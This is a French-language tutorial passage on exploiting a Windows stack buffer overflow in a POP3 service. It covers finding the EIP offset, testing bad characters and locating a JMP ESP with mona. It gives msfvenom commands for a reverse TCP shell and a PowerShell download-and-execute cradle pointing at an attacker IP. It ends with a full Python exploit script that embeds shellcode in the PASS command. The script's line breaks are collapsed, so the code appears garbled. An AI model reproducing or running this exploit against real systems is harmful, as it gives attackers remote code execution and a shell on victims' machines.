Il semble que nous puissions modifier l'EIP à l'offset 2606 du tampon.
Vérifiez en modifiant le tampon de l'exploit :
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Avec ce tampon, l'EIP planté devrait pointer vers 42424242 ("BBBB")
On dirait que ça fonctionne.
Vérifier l'espace pour le shellcode dans la pile
600B devrait être suffisant pour n'importe quel shellcode puissant.
Modifions le tampon :
buffer = 'A'*2606 + 'BBBB' + 'C'*600
Lancer la nouvelle exploitation et vérifier l'EBP et la longueur du shellcode utile
Vous pouvez voir que lorsque la vulnérabilité est atteinte, l'EBP pointe vers le shellcode et que nous avons beaucoup d'espace pour localiser un shellcode ici.
Dans ce cas, nous avons de 0x0209A128 à 0x0209A2D6 = 430B. Assez.
Les mauvais caractères commencent en 0x01 car 0x00 est presque toujours mauvais.
Exécutez de manière répétée l'exploit avec ce nouveau tampon en supprimant les caractères qui se révèlent inutiles :.
Par exemple :
Dans ce cas, vous pouvez voir que vous ne devez pas utiliser le caractère 0x0A (rien n'est enregistré en mémoire puisque le caractère 0x09).
Dans ce cas, vous pouvez voir que le caractère 0x0D est évité :
Trouver un JMP ESP comme adresse de retour
Utilisation :
!mona modules #Get protections, look for all false except last one (Dll of SO)
Vous allez listez les cartes mémoire. Recherchez une DLL qui a :
Rebase: False
SafeSEH: False
ASLR: False
NXCompat: False
OS Dll: True
Maintenant, à l'intérieur de cette mémoire, vous devriez trouver quelques octets JMP ESP, pour ce faire, exécutez :
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Ensuite, si une adresse est trouvée, choisissez-en une qui ne contient aucun caractère indésirable :
Dans ce cas, par exemple : _0x5f4a358f_
Créer le shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Si l'exploit ne fonctionne pas mais qu'il devrait (vous pouvez le voir avec ImDebg que le shellcode est atteint), essayez de créer d'autres shellcodes (msfvenom avec créer différents shellcodes pour les mêmes paramètres).
Ajoutez quelques NOPS au début du shellcode et utilisez-le ainsi que l'adresse de retour pour JMP ESP, et finalisez l'exploit:
#!/usr/bin/pythonimportsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ip='10.11.25.153'port=110shellcode= ("\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b""\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4""\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6""\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4""\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36""\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9""\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19""\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef""\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78""\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85""\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4""\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35""\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71""\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8""\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf""\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a""\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5""\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25""\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4""\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1""\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a""\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d""\x2d\xb8\x63\xe2\x4e\xe9")buffer='A'*2606+'\x8f\x35\x4a\x5f'+"\x90"*8+shellcodetry:print"\nLaunching exploit..."s.connect((ip,port))data=s.recv(1024)s.send('USER username'+'\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')print"\nFinished!."except:print"Could not connect to "+ip+":"+port
Il existe des shellcodes qui s'écraseront eux-mêmes, il est donc important d'ajouter toujours quelques NOPs avant le shellcode